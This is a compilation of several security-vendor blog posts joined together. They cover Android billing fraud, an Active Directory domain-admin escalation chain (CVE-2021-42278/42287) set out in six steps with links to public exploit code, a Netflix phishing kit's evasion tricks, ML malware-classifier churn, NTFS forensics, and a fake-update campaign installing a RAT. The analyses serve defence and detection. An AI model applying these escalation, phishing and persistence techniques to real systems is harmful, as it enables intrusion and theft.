In the case of Thailand, the text is in Thai and includes a small version of terms of service along with instructions to unsubscribe and stop the charges: Figure 13.
Screens shown when the country of the IP address is Thailand.
Finally, with Russia no image is shown to the user.
The app fraudulently charges the user via WAP billing while enabling 3G and disabling Wi-Fi: Figure 14.
Forcing the use of 3G to start WAP billing fraud.
We also found similar apps from late 2016 that performed SMS fraud by pretending to be legitimate popular applications and asking the user to pay for them.
These are similar to text seen in the 2018 campaign as an update but labeled as Term of user: Figure 15.
Fake-installer behavior asking the user to pay for a popular legitimate app.
If the user clicks “No,” the app executes as expected.
However, if the user clicks “Yes,” the app subscribes the user to a premium-rate service by sending an SMS message with a specific keyword to a short number.
Next the mobile operator sends the device a PIN via SMS; the malware intercepts the PIN and returns it via web request to confirm the subscription.
Once the user is fraudulently subscribed to a premium-rate service to download a copy of a free app on official app stores, the malware shows the dialog “Downloading game…” and proceeds with the download of another APK stored on a third-party server.
Although the APK file that we downloaded from the remote server is a copy of the legitimate popular app, the file can be changed at any point to deliver additional malware.
Unlike in previous campaigns, we did not find evidence that these fake-installer apps were distributed via Google Play.
We believe that they were distributed via fake third-party markets from which users looking for popular apps are tricked into downloading APK files from unknown sources.
In June 2018 ESET and Sophos found a new version of this variant pretending to be the popular game Fortnite.
The fake game was distributed via a YouTube video by asking the user to download the fake app from a specific URL.
This recent campaign shows that the cybercriminals behind this threat are still active tricking users into installing these fake applications.
Connections Among Campaigns All of these campaigns rely on billing-fraud apps targeting users in Southeast and Central Asia and offer some similarities in behavior such as the use of almost the same text and images to trick users into subscribing to premium-rate services.
Other potential connections among the three campaigns suggest that all the apps are likely from the same actor group.
For example, apps from all campaigns use the same string as debug log tag: Figure 16.
The “SonLv” string used as a log tag occurs in all campaigns.
There is also a notable similarity in package and classes names and in the use of a common framework (telpoo.frame) to perform typical tasks such as database, networking, and interface support: Figure 17.
Common package and classes names in all campaigns.
Finally, apps from the Google Play campaigns use the domain vilandsoft[.
]com to check for updates.
The same domain is also used by apps from the fake-installer campaign to deliver remote-execution commands, for example, action_sendsms: Figure 18.
A fake-installer app checking for the command action_sendsms.
The following timeline identifies the campaigns we have found from this group, strategies to trick users into installing the apps, distribution methods, main payload, and targeted countries: Figure 19.
A timeline of Sonvpay campaigns.
Conclusion Sonvpay campaigns are one example of how cybercriminals like the AsiaHitGroup Gang constantly adapt their tactics to trick users into subscribing to premium-rate services and boosting their profits.
The campaigns started in late 2016 with very simple fake installers that charged users for copies of popular apps.
In late 2017, Google Play apps abused WAP-billing services and used IP address geolocation to target specific countries.
In 2018, Google Play apps used silent background push notifications to trigger the display of a fake update message and to gather data for mobile billing fraud.
We expect that cybercriminals will continue to develop and distribute new billing fraud campaigns to target more countries and affect more users around the world.
Cybercriminals always follow the money, and one of the most effective ways to steal money from users is via billing fraud.
A victim will likely not notice a fraudulent charge, for example, until it appears on the mobile bill at the end of the month.
Even when the payment is detected early, most of the time the charge is for a subscription rather than a one-time payment.
Thus victims will need to find a way to unsubscribe from the premium-rate service, which may not be easy if the subscription occurred silently or if the app does not provide that information.
Also, the fact that WAP-billing fraud does not require sending an SMS message to a premium-rate number makes it easier to commit.
Cybercriminals need to only silently subscribe users by forcing them to load the WAP-billing service page and click on buttons.
For these reasons we expect that mobile billing fraud will continue to target Android users.
McAfee Mobile Security detects this threat as Android/Sonvpay.
To protect yourselves from this and similar threats, employ security software on your mobile devices, check user reviews for apps on Google Play, and do not accept or trust apps that ask for payment functionality via SMS messages as soon as the app is opened or without any interaction.
FortiGuard Labs Threat Research Report Affected Platforms: Windows Impacted Users: Any organization with an Active Directory environment Impact: Unprivileged user can escalate privileges to domain administrator Severity Level:
Critical On Patch Tuesday of last November, Microsoft released advisories to address several vulnerabilities in Active-Directory.
Analysis of these vulnerabilities showed that by combining CVE-2021-42278 and CVE-2021-42287 it is possible, under default conditions, for a regular user to easily impersonate a domain admin.
This means that any domain user can effectively become a domain administrator, which makes these vulnerabilities extremely severe.
Moreover, there are already several Github repositories with free-to-use PoC code that facilitates the exploitation of these vulnerabilities.
In this post, we will describe how the exploitation of these vulnerabilities works and show how the attack is mitigated by FortiEDR.
CVE-2021-42278 - Invalid Computer Account Name Computer account names in Active Directory environments should always end with “$”, however, this is not enforced correctly.
The computer account name attribute is “sAMAccountName”.
It is possible to see and edit the this attribute manually using the ADSIEdit Tool, as can be seen in Figure 1.
On vulnerable machines it is possible to rename it to a domain controller account name, which is a key step in the exploitation chain.
Security Principal Name A security principal name (SPN) is the name that identifies an authenticated entity—for example, machinename$@domainname.
SPN s are used by Kerberos as part of the authentication procedures of various entities.
It is basically a unique identifier of a service instance and used by Kerberos authentication to associate a service instance with a service logon account.
This may pose a problem when trying to rename a computer account to a domain controller account because changing the samAccountName attribute will trigger a respective change to the SPN of the account.
The attempt to change it will fail because an SPN with this name already exists.
To overcome this, it is possible to clear the machine “servicePrincipalName” attribute.
As a result, privilege to edit the “servicePrincipalName” attribute is also required to exploit this vulnerability.
CVE-2021-42287 - Kerberos Key Distribution Center Confusion The Kerberos Key Distribution Center (KDC) is a service of Active Directory that handles Kerberos ticket requests.
A Ticket-Granting Ticket, or TGT, is a special type of ticket that can be used to obtain other tickets.
TGT is used to request access tokens from the Ticket Granting Service (TGS) for specific resources/systems in the domain.
When a request for a service ticket is sent and it is not found, the KDC will automatically lookup the requested ticket appended with “$”.
S4U2self, or Service for User to Self, is an extension that allows a service to obtain a Kerberos service ticket for itself.
The service ticket contains the user's groups and can therefore be used in authorization decisions.
All Active Directory terms and full explanations can be found here .
The vulnerability can be triggered in a scenario where a user obtains a TGT, the user gets removed, and the previously obtained TGT is used to request a service ticket for another user for themselves—basically, S4U2self.
In this case, the user will not be found and a lookup for the user with appended “$” will be executed.
And if a domain controller account with the name exists, a service ticket will be granted to the requesting user, making the requesting user a domain administrator.
Combining the Vulnerabilities To exploit this issue, an attacker needs the ability to control a computer account.
As mentioned, the attacker needs to be able to modify both the “servicePrincipalName” attribute and “sAMAccountName” attribute.
The simplest way to achieve this is to create one.
The default configuration in a domain allows an unprivileged user to create up to 10 computer accounts.
This is controlled by the MachineAccountQuota attribute.
In summary, the steps to exploit these vulnerabilities to gain domain-administrator privileges are as follows: 1.
Enumerate the Active-Directory to find a domain administrator account.
2.
Create a new computer account with cleared “servicePrincipalName”.
3.
Leverage CVE-2021-42278 to modify the “sAMAccountName” to the domain administrator account name.
4.
Get a TGT of the computer account.
5.
Restore the computer account name so it will not be found when the KDC looks for it.
6.
Leverage CVE-2021-42287 using the obtained TGT to request a service ticket with S4U2Self.
Implementation of the exploit can be found here .
Figure 2, below, shows the execution of the exploit code against a vulnerable server: Protecting Against Exploitation The combination of CVE-2021-42278 and CVE-2021-42287 vulnerabilities enables unprivileged users to easily become domain administrators.
As a result, we urge organizations to apply Microsoft patches KB5008380 and KB5008602 as soon as possible to mitigate the issue.
FortiEDR is able to detect and block exploitation attempts of CVE-2021-42278 and CVE-2021-42287 vulnerabilities.
Moreover, it is also capable of tracing the source of the attack: FortiGuard IPS protects against these exploits with the following signature: MS.Active.
Directory.
SAM.Privilege.
Escalation These exploits are detected and prevented in FortiGuard IPS DB 19.228 (FortiGate, FortiADC, FortiProxy) and FortiEDR 5.0.
Please ensure your devices have downloaded the latest protections.
For more detail and information on threat hunting across the Fortinet Security Fabric, please see the FortiGuard Outbreak Alert .
Appendix https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#solving-a-sensitive-problem https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/4a624fb5-a078-4d30-8a d1-e9ab71e0bc47#gt_2214804a-4a44-46f4-b6d2-a78f4ff39a39 https://github.com/WazeHell/sam-the-admin
Learn more about FortiGuard Labs global threat intelligence and research and the FortiGuard Security Subscriptions and Services portfolio.
Introduction Through FireEye’s Email Threat Prevention (ETP) solution, FireEye Labs discovered a phishing campaign in the wild targeting the credit card data and other personal information of Netflix users primarily based in the United States.
This campaign is interesting because of the evasion techniques that were used by the attackers: The phishing pages were hosted on legitimate, but compromised web servers.
Client-side HTML code was obfuscated with AES encryption to evade text-based detection.
Phishing pages were not displayed to users from certain IP addresses if its DNS resolved to companies such as Google or PhishTank.
At the time of posting, the phishing websites we observed were no longer active.
Attack Flow The attack seems to start with an email notification – sent by the attackers – that asks the user to update their Netflix membership details.
The phishing link inside the email body directs recipients to a page that attempts to mimic a Netflix login page, as seen in Figure 1.
Figure 1: Fake login page mimicking the Netflix website Upon submitting their credentials, victims are then directed to webpages requesting additional membership details (Figure 2) and payment information (Figure 3).
These websites also attempt to mimic authentic Netflix webpages and appear legitimate.
Once the user has entered their information, they are taken to the legitimate Netflix homepage.
Figure 2:
Fake webpage asking users to update their personal details Figure 3: Netflix phishing webpage used to steal credit card information Technical Details
The phishing kit uses techniques to evade phishing filters.
One technique is the use of AES encryption to encode the content presented at the client’s side, as seen in Figure 4.
The purpose of using this technique is code obfuscation, which helps to evade text-based detection.
By obfuscating the webpage, attackers try to deceive text-based classifiers and prevent them from inspecting webpage content.
This technique employs two files, a PHP and a JavaScript file that have functions to encrypt and decrypt input strings.
The PHP file is used to encrypt the webpages at the server side, as seen in Figure 5.
At the client side, the encrypted content is decoded using a defined function in the JavaScript file, as seen in Figure 6.
Finally, the webpage is rendered using the ‘document.write’ function.
Figure 4: Client-side code obfuscation using AES encryption Figure 5: PHP code used at server side for encryption Figure 6:
JavaScript code used at client-side for decryption Another technique is the host-based evasion, as seen in Figure 7.
The host name of organizations such as ‘phishtank’ and ‘google’ are blacklisted.
The host name of the client is compared against a list of blacklisted host names.
If there is a match against the blacklist, a “404 Not Found” error page is presented.
Figure 7:
Server side code for blacklisting known hosts.
Click image to enlarge.
As with the majority of phishing attacks, this campaign uses PHP mail utility to send the attacker the stolen credentials.
The advantage of using this technique is that the attacker can host their phishing kits on a number of websites and still get the stolen credentials and other information from a single email account.
This enables attackers to extend their reach.
Figure 8:
Stolen information is sent to an email address using mail() function Tips to Secure your Netflix Account To learn more about securing your Netflix account, Netflix provides additional information on how to keep your account safe from phishing scams and other fraudulent activity at https://www.netflix.com/security.
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Introduction Machine learning (ML) is playing an increasingly important role in cyber security.
Here at FireEye, we employ ML for a variety of tasks such as: antivirus , malicious PowerShell detection , and correlating threat actor behavior .
While many people think that a data scientist’s job is finished when a model is built, the truth is that cyber threats constantly change and so must our models.
The initial training is only the start of the process and ML model maintenance creates a large amount of technical debt.
Google provides a helpful introduction to this topic in their paper “Machine Learning: The High-Interest Credit Card of Technical Debt.
”
A key concept from the paper is the principle of CACE : change anything, change everything .
Because ML models deliberately find nonlinear dependencies between input data, small changes in our data can create cascading effects on model accuracy and downstream systems that consume those model predictions.
This creates an inherent conflict in cyber security modeling: (1) we need to update models over time to adjust to current threats and (2) changing models can lead to unpredictable outcomes that we need to mitigate.
Ideally, when we update a model, the only change in model outputs are improvements, e.g.
fixes to previous errors.
Both false negatives (missing malicious activity) and false positives (alerts on benign activity), have significant impact and should be minimized.
Since no ML model is perfect, we mitigate mistakes with orthogonal approaches: whitelists and blacklists, external intelligence feeds, rule-based systems, etc.
Combining with other information also provides context for alerts that may not otherwise be present.
However, CACE !
These integrated systems can suffer unintended side effects from a model update.
Even when the overall model accuracy has increased, individual changes in model output are not guaranteed to be improvements.
Introduction of new false negatives or false positives in an updated model, called churn , creates the potential for new vulnerabilities and negative interactions with cyber security infrastructure that consumes model output.
In this article, we discuss churn, how it creates technical debt when considering the larger cyber security product, and methods to reduce it.
Prediction Churn Whenever we retrain our cyber security-focused ML models, we need to able to calculate and control for churn.
Formally, prediction churn is defined as the expected percent difference between two different model predictions (note that prediction churn is not the same as customer churn, the loss of customers over time, which is the more common usage of the term in business analytics).
It was originally defined by Cormier et al .
for a variety of applications.
For cyber security applications, we are often concerned with just those differences where the newer model performs worse than the older model.
Let’s define bad churn when retraining a classifier as the percentage of misclassified samples in the test set which the original model correctly classified.
Churn is often a surprising and non-intuitive concept.
After all, if the accuracy of our new model is better than the accuracy of our old model, what’s the problem?
Consider the simple linear classification problem of malicious red squares and benign blue circles in Figure 1.
The original model, A, makes three misclassifications while the newer model, B, makes only two errors.
B is the more accurate model.
Note, however, that B introduces a new mistake in the lower right corner, misclassifying a red square as benign.
That square was correctly classified by model A and represents an instance of bad churn.
Clearly, it’s possible to reduce the overall error rate while introducing a small number of new errors which did not exist in the older model.
Figure 1: Two linear classifiers with errors highlighted in orange.
The original classifier A has lower accuracy than B.
However, B introduces a new error in the bottom right corner.
Practically, churn introduces two problems in our models.
First, bad churn may require changes to whitelist/blacklists used in conjunction with ML models.
As we previously discussed, these are used to handle the small but inevitable number of incorrect classifications.
Testing on large repositories of data is necessary to catch such changes and update associated whitelists and blacklists.
Second, churn may create issues for other ML models or rule-based systems which rely on the output of the ML model.
For example, consider a hypothetical system which evaluates URLs using both a ML model and a noisy blacklist.
The system generates an alert if P(URL = ‘malicious’) > 0.9 or P(URL = ‘malicious’) > 0.5 and the URL is on the blacklist After retraining, the distribution of P(URL=‘malicious’) changes and all .com
domains receive a higher score.
The alert rules may need to be readjusted to maintain the required overall accuracy of the combined system.
Ultimately, finding ways of reducing churn minimizes this kind of technical debt.
Experimental Setup We’re going to explore churn and churn reduction techniques using EMBER, an open source malware classification data set.
It consists of 1.1 million PE files first seen in 2017, along with their labels and features.
The objective is to classify the files as either goodware or malware.
For our purposes we need to construct not one model, but two, in order to calculate the churn between models.
We have split the data set into three pieces: January through August is used as training data September and October are used to simulate running the model in production and retraining (test 1 in Figure 2).
November and December are used to evaluate the models from step 1 and 2 (test 2 in Figure 2).
Figure 2:
A comparison of our experimental setup versus the original EMBER data split.
EMBER has a ten-month training set and a two-month test set.
Our setup splits the data into three sets to simulate model training, then retraining while keeping an independent data set for final evaluation.
Figure 2 shows our data split and how it compares to the original EMBER data split.
We have built a LightGBM classifier on the training data, which we’ll refer to as the baseline model.
To simulate production testing, we run the baseline model on test 1 and record the FPs and FNs.
Then, we retrain our model using both the training data and the FPs/FNs from test 1.
We’ll refer to this model as the standard retrain.
This is a reasonably realistic simulation of actual production data collection and model retraining.
Finally, both the baseline model and the standard retrain are evaluated on test 2.
The standard retrain has a higher accuracy than the baseline on test 2, 99.33% vs 99.10% respectively.
However, there are 246 misclassifications made by the retrain model that were not made by the baseline or 0.12% bad churn.
Incremental Learning Since our rationale for retraining is that cyber security threats change over time, e.g.
concept drift, it’s a natural suggestion to use techniques like incremental learning to handle retraining.
In incremental learning we take new data to learn new concepts without forgetting (all) previously learned concepts.
That also suggests that an incrementally trained model may not have as much churn, as the concepts learned in the baseline model still exist in the new model.
Not all ML models support incremental learning, but linear and logistic regression, neural networks, and some decision trees do.
Other ML models can be modified to implement incremental learning.
For our experiment, we incrementally trained the baseline LightGBM model by augmenting the training data with FPs and FNs from test 1 and then trained an additional 100 trees on top of the baseline model (for a total of 1,100 trees).
Unlike the baseline model we use regularization (L2 parameter of 1.0); using no regularization resulted in overfitting to the new points.
The incremental model has a bad churn of 0.05% (113 samples total) and 99.34% accuracy on test 2.
Another interesting metric is the model’s performance on the new training data; how many of the baseline FPs and FNs from test 1 does the new model fix?
The incrementally trained model correctly classifies 84% of the previous incorrect classifications.
In a very broad sense, incrementally training on a previous model’s mistake provides a “patch” for the “bugs” of the old model.
Churn-Aware Learning Incremental approaches only work if the features of the original and new model are identical.
If new features are added, say to improve model accuracy, then alternative methods are required.
If what we desire is both accuracy and low churn, then the most straightforward solution is to include both of these requirements when training.
That’s the approach taken by Cormier et al., where samples received different weights during training in such a way as to minimize churn.
We have made a few deviations in our approach: (1) we are interested in reducing bad churn (churn involving new misclassifications) as opposed to all churn and (2) we would like to avoid the extreme memory requirements of the original method.
In a similar manner to Cormier et al., we want to reduce the weight, e.g.
importance, of previously misclassified samples during training of a new model.
Practically, the model sees making the same mistakes as the previous model as cheaper than making a new mistake.
Our weighing scheme gives all samples correctly classified by the original model a weight of one and all other samples have a weight of: w = α – β |0.5 – P old ( χ i )|, where P old ( χ i ) is the output of the old model on sample χ i and α , β are adjustable hyperparameters.
We train this reduced churn operator model (RCOP) using an α of 0.9, a β of 0.6 and the same training data as the incremental model.
RCOP produces 0.09% bad churn, 99.38% accuracy on test 2.
Results Figure 3 shows both accuracy and bad churn of each model on test set 2.
We compare the baseline model, the standard model retrain, the incrementally learned model and the RCOP model.
Figure 3:
Bad churn versus accuracy on test set 2.
Table 1 summarizes each of these approaches, discussed in detail above.
Name Trained on Method Total # of trees Baseline train LightGBM 1000
Standard retrain train + FPs/FNs from baseline on test 1 LightGBM 1100 Incremental model train + FPs/FNs from baseline on test 1 Trained 100 new trees, starting from the baseline model 1100 RCOP train + FPs/FNs from baseline on test 1 LightGBM with altered sample weights 1100 Table 1:
A description of the models tested The baseline model has 100 fewer trees than the other models, which could explain the comparatively reduced accuracy.
However, we tried increasing the number of trees which resulted in only a minor increase in accuracy of < 0.001%.
The increase in accuracy for the non-baseline methods is due to the differences in data set and training methods.
Both incremental training and RCOP work as expected producing less churn than the standard retrain, while showing accuracy improvements over the baseline.
In general, there is usually a trend of increasing accuracy being correlated with increasing bad churn: there is no free lunch.
That increasing accuracy occurs due to changes in the decision boundary, the more improvement the more changes occur.
It seems reasonable the increasing decision boundary changes correlate with an increase in bad churn although we see no theoretical justification for why that must always be the case.
Unexpectedly, both the incremental model and RCOP produce more accurate models with less churn than the standard retrain.
We would have assumed that given their additional constraints both models would have less accuracy with less churn.
The most direct comparison is RCOP versus the standard retrain.
Both models use identical data sets and model parameters, varying only by the weights associated with each sample.
RCOP reduces the weight of incorrectly classified samples by the baseline model.
That reduction is responsible for the improvement in accuracy.
A possible explanation of this behavior is mislabeled training data.
Multiple authors have suggested identifying and removing points with label noise, often using the misclassifications of a previously trained model to identify those noisy points.
Our scheme, which reduces the weight of those points instead of removing them, is not dissimilar to those other noise reduction approaches which could explain the accuracy improvement.
Conclusion ML models experience an inherent struggle: not retraining means being vulnerable to new classes of threats, while retraining causes churn and potentially reintroduces old vulnerabilities.
In this blog post, we have discussed two different approaches to modifying ML model training in order to reduce churn: incremental model training and churn-aware learning.
Both demonstrate effectiveness in the EMBER malware classification data set by reducing the bad churn, while simultaneously improving accuracy.
Finally, we also demonstrated the novel conclusion that reducing churn in a data set with label noise can result in a more accurate model.
Overall, these approaches provide low technical debt solutions to updating models that allow data scientists and machine learning engineers to keep their models up-to-date against the latest cyber threats at minimal cost.
At FireEye, our data scientists work closely with the FireEye Labs detection analysts to quickly identify misclassifications and use these techniques to reduce the impact of churn on our customers.
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By William Ballenthin & Jeff Hamm On August 30, 2012, we presented a webinar on how to use INDX buffers to assist in an incident response investigation.
During the Q&A portion of the webinar we received many questions; however, we were not able to answer all of them.
We're going to attempt to answer the remaining questions by posting a four part series on this blog.
This series will address:
Part 1: Extracting an INDX Attribute Part 2:
The Internal Structures of a File Name Attribute Part 3: A Step by Step Guide to Parse INDX
Part 4:
The Internal Structures of an INDX Structure Part 1: Extracting an INDX Record An INDX buffer in the NTFS file system tracks the contents of a folder.
INDX buffers can be resident in the $MFT (Master File Table) as an index root attribute (attribute type 0x90) or non-resident as an index allocation attribute (attribute 0xA0) (non-resident meaning that the content of the attribute is in the data area on the volume.)
INDX root attributes have a dynamic size in the MFT, so as the contents change, the size of the attributes change.
When an INDX root attribute shrinks, the surrounding attributes shift and overwrite any old data.
Therefore, it is not possible to recover slack entries from INDX root attributes.
On the other hand, the file system driver allocates INDX allocation attributes in multiples of 4096, even though the records may only be 40 bytes.
As file system activity adds and removes INDX records from an allocation attribute, old records may still be recoverable in the slack space found between the last valid entry and the end of the 4096 chunk.
This is very interesting to a forensic investigator.
Fortunately, many forensic tools support extracting the INDX allocation attributes from images of an NTFS file system.
Scenario Let's say that during your investigation you identified a directory of interest that you want to examine further.
In the scenario we used during the webinar, we identified a directory as being of interest because we did a keyword search for \"1.rar\".
The results of the search indicated that the slack space of an INDX attribute contained the suspicious filename \"1.rar\".
The INDX attribute had the $MFT record number 49.
Before we can parse the data, we need to extract the valid index attribute's content.
Using various forensic tools, we are capable of this as demonstrated below.
The SleuthKit We can use the SleuthKit tools to extract both the INDX root and allocation data.
To extract the INDX attribute using the SleuthKit, the first step is to identify the $MFT record IDs for the attributes of the inode.
We want the content of the index root attribute (attribute type 0x90 or 144d) and the index allocation attribute (attribute type 0xA0 or 160d).
To identify the attribute IDs, run the command: istat -f ntfs ntfs.dd 49 The istat command returns inode information from the $MFT.
In the command we are specifying the NTFS file system with the \"-f\" switch.
The tool reads a raw image named \"ntfs.dd\" and locates record number 49.
The result of our output (truncated) was as follows: ....
Attributes: Type: $STANDARD_INFORMATION (16-0)
Name: Resident size: 72 ...
Type: $I30 (144-6) Name: $I30 Resident size: 26 Type: $I30 (160-7) Name: $I30 Non-Resident size: 4096
The information returned for the attribute list includes the index root - $I30 (144-6) - and an index allocation - $I30 (160-7).
The attribute identifier is the integer listed after the dash.
Therefore, the index root attribute 144 has an identifier of 6, and the index allocation attribute 160 has an identifier of 7.
With this information, we can gather the content of the attributes with the SleuthKit commands: icat -f ntfs ntfs.dd 49-144-6 >
INDX_ROOT.bin icat -f ntfs ntfs.dd 49-160-7 > INDX_ALLOCATION.bin
The icat command uses the NTFS module to identify the record (49) attribute (144-6 and 144-7), and outputs the attribute data into the respective files INDX_ROOT.bin and INDX_ALLOCATION.bin.
EnCase We can use EnCase to extract the INDX allocation data.
To use EnCase version 6.x to gather the content of the INDX buffers, in the explorer tree, right click the folder icon.
The \"Copy/UnErase...\" option applied to a directory will copy the content of the INDX buffer as a binary file.
Specify a location to save the file.
Note that the \"Copy Folders...\" option will copy the directory and its contents and will NOT extract the INDX structure.
FTK We can use the Forensic Toolkit (FTK) to extract the INDX allocation data.
Using FTK or FTK Imager, the INDX allocation attributes appear in the file list pane.
These have the name \"$I30\" because the stream name is identified as $I30 in the index root and index allocation attributes.
To extract the content of an index attribute, in the explorer pane, highlight the folder.
In the file list pane, right click the relevant $I30 file and choose the option to \"export\".
This will prompt you for a location to save the binary content.
Mandiant Intelligent Response ® The Mandiant Intelligent Response ® (MIR) agent v.2.2 has the ability to extract INDX records natively.
To generate a list of INDX buffers in MIR, run a RAW file audit.
One of the options in the audit is to \"Parse NTFS INDX Buffers\".
You can run this recursively, or you can target specific directories.
We recommend the latter because this option will generate numerous entries when done recursively.
To display a list of parsed INDX buffers, you can filter a file listing in MIR by choosing the \"FileAttributes\" are \"like\" \"*INDX*\".
The MIR agent recognizes \"INDX\" as an attribute because the files listed in the indices may or may not be deleted.
Results
Regardless of which method is used, your binary file should begin with the string \"INDX\" if you grabbed the correct data stream.
You can verify the results quickly in a hex editor.
Ensure that the first four bytes of the binary data is the string \"INDX\".
Conclusion This example demonstrates three ways to use various tools to extract INDX attribute content.
Our next post will detail the internal structures of a file name attribute.
A file name attribute will exist for each file tracked in a directory.
These structures include the MACb (Modified, Accessed, Changed, and birth) times of a file and can be a valuable timeline source in an investigation.
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Over the last few months, FireEye has tracked an in-the-wild campaign that leverages compromised sites to spread fake updates.
In some cases, the payload was the NetSupport Manager remote access tool (RAT).
NetSupport Manager is a commercially available RAT that can be used legitimately by system administrators for remotely accessing client computers.
However, malicious actors are abusing this application by installing it to the victims’ systems without their knowledge to gain unauthorized access to their machines.
This blog details our analysis of the JavaScript and components used in instances where the identified payload was NetSupport RAT.
Infection Vector
The operator behind these campaigns uses compromised sites to spread fake updates masquerading as Adobe Flash, Chrome, and FireFox updates.
When users navigate to the compromised website, the malicious JavaScript file is downloaded, mostly from a DropBox link.
Before delivering the payload, the JavaScript sends basic system information to the server.
After receiving further commands from the server, it then executes the final JavaScript to deliver the final payload.
In our case, the JavaScript that delivers the payload is named Update.js, and it is executed from %AppData% with the help of wscript.exe.
Figure 1 shows the infection flow.
Figure 1: Infection Flow In-Depth Analysis of JavaScript The initial JavaScript file contains multiple layers of obfuscation.
Like other malicious scripts, the first layer has obfuscation that builds and executes the second layer as a new function.
The second layer of the JavaScript contains the dec function, which is used to decrypt and execute more JavaScript code.
Figure 2 shows a snapshot of the second layer.
Figure 2:
Second Layer of Initial JavaScript File
In the second JavaScript file, the malware author uses a tricky method to make the analysis harder for reverse engineers.
The author uses the caller and callee function code to get the key for decryption.
During normal JavaScript analysis, if an analyst finds any obfuscated script, the analyst tries to de-obfuscate or beautify the script for analysis.
JavaScript beautification tools generally add line breaks and tabs to make the script code look better and easier to analyze.
The tools also try to rename the local variables and remove unreferenced variables and code from the script, which helps to analyze core code only.
But in this case, since the malware uses the caller and callee function code to derive the key, if the analyst adds or removes anything from the first or second layer script, the script will not be able to retrieve the key and will terminate with an exception.
The code snippet in Figure 3 shows this trick.
Figure 3: Anti-Analysis Trick Implemented in JavaScript (Beautified Code)
The code decrypts and executes the JavaScript code as a function.
This decrypted function contains code that initiates the network connection.
In the decoded function, the command and control (C2) URL and a value named tid are hard-coded in the script and protected with some encoded function.
During its first communication to the server, the malware sends the tid value and the current date of the system in encoded format, and waits for the response from the server.
It decodes the server response and executes the response as a function, as shown in Figure 4.
Figure 4:
Initial Server Communication and Response
The response from the server is JavaScript code that the malware executes as a function named step2.
The step2 function uses WScript.
Network and Windows Management Instrumentation(WMI) to collect the following system information, which it then encodes and sends to the server: Architecture, ComputerName, UserName, Processors, OS, Domain, Manufacturer, Model, BIOS_Version, AntiSpywareProduct, AntiVirusProduct, MACAddress, Keyboard, PointingDevice, DisplayControllerConfiguration, ProcessList; After sending the system information to the server, the response from the server contains two parts: content2 and content3 .
The script ( step2 function) decodes both parts.
The decoded content3 part contains the function named as step3 , as shown in Figure 5.
Figure 5: Decrypting and Executing Response step3 The step3 function contains code that writes decoded content2 into a %temp% directory as Update.js .
Update.js contains code to download and execute the final payload.
The step3 function also sends the resulting data, such as runFileResult and _tempFilePath, to the server, as shown in Figure 6.
Figure 6: Script to Drop and Execute Update.js
The Update.js file also contains multi-layer obfuscation.
After decoding, the JavaScript contains code to drop multiple files in %AppData%, including a 7zip standalone executable (7za.exe), password-protected archive (Loglist.rtf), and batch script (Upd.cmd).
We will talk more about these components later.
JavaScript uses PowerShell commands to download the files from the server.
It sets the attribute’s execution policy to bypass and window-style to hidden to hide itself from the end user.
Components of the Attack Figure 7 shows the index of the malicious server where we have observed the malware author updating the script content.
Figure 7:
Index of Malicious Server 7za.exe: 7zip standalone executable LogList.rtf: Password-protected archive file Upd.cmd: Batch script to install the NetSupport Client Downloads.txt: List of IPs (possibly the infected systems)
Get.php:
Downloads LogList.rtf Upd.cmd
This file is a batch script that extracts the archive file and installs the remote control tool on the system.
The script is obfuscated with the variable substitution method.
This file was regularly updated by the malware during our analysis.
After de-obfuscating the script, we can see the batch commands in the script (Figure 8).
Figure 8: De-Obfuscated Upd.cmd Script The script performs the following tasks: Extract the archive using the 7zip executable with the password mentioned in the script.
After extraction, delete the downloaded archive file (loglist.rtf).
Disable Windows Error Reporting and App Compatibility.
Add the remote control client executable to the firewall’s allowed program list.
Run remote control tool (client32.exe).
Add Run registry entry with the name “ManifestStore” or downloads shortcut file to Startup folder.
Hide the files using attributes.
Delete all the artifacts (7zip executable, script, archive file).
Note: While analyzing the script, we found some typos in the script (Figure 9).
Yes, malware authors make mistakes too.
This script might be in beta phase.
In the later version of script, the author has removed these typos.
Figure 9:
Registry Entry Bloopers Artifact Cleaning As mentioned, the script contains code to remove the artifacts used in the attack from the victim’s system.
While monitoring the server, we also observed some change in the script related to this code, as shown in Figure 10.
Figure 10:
Artifact Cleaning Commands The highlighted command in one of the variants indicates that it might drop or use this file in the attack.
The file could be a decoy document.
Persistence Mechanism
During our analysis, we observed two variants of this attack with different persistence mechanisms.
In the first variant, the malware author uses a RUN registry entry to remain persistent in the system.
In the second variant, the malware author uses the shortcut file (named desktop.ini.lnk ), which is hosted on the server.
It downloads the shortcut file and places it into the Startup folder, as shown in Figure 11.
Figure 11:
Downloading Shortcut File
The target command for the shortcut file points to the remote application “client32.exe,” which was dropped in %AppData%, to start the application on startup.
LogList.rtf
Although the file extension is .rtf, the file is actually a 7zipped archive.
This archive file is password-protected and contains the NetSupport Manager RAT.
The script upd.cmd contains the password to extract the archive.
The major features provided by the NetSupport tool include: Remote desktop File transfer Remote inventory and system information Launching applications in client’s machine Geolocation Downloads.txt This file contains a list of IP addresses, which could be compromised systems.
It has IPs along with User-agent.
The IP addresses in the file belong to various regions, mostly the U.S., Germany, and the Netherlands.
Conclusion RATs are widely used for legitimate purposes, often by system administrators.
However, since they are legitimate applications and readily available, malware authors can easily abuse them and sometimes can avoid user suspicion as well.
The FireEye HX Endpoint platform successfully detects this attack at the initial phase of the attack cycle.
Acknowledgement Thanks to my colleagues Dileep Kumar Jallepalli, Rakesh Sharma and Kimberly Goody for their help in the analysis.
Indicators of Compromise Registry entries HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run :
ManifestStore HKCU\\Software\\SeX\\KEx Files %
AppData%\\ManifestStore\\client32.exe %AppData%\\ManifestStore\\client32.ini %AppData%\\ManifestStore\\HTCTL32.DLL %AppData%\\ManifestStore\\msvcr100.dll %
AppData%\\ManifestStore\\nskbfltr.inf %AppData%\\ManifestStore\\NSM.ini %AppData%\\ManifestStore\\NSM.LIC %AppData%\\ManifestStore\\nsm_vpro.ini %AppData%\\ManifestStore\\pcicapi.dll %AppData%\\ManifestStore\\PCICHEK.DLL %AppData%\\ManifestStore\\PCICL32.DLL %
AppData%\\ManifestStore\\remcmdstub.exe %AppData%\\ManifestStore\\TCCTL32.DLL %AppData%\\systemupdate\\Whitepaper.docx Shortcut file %AppData%\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini.lnk
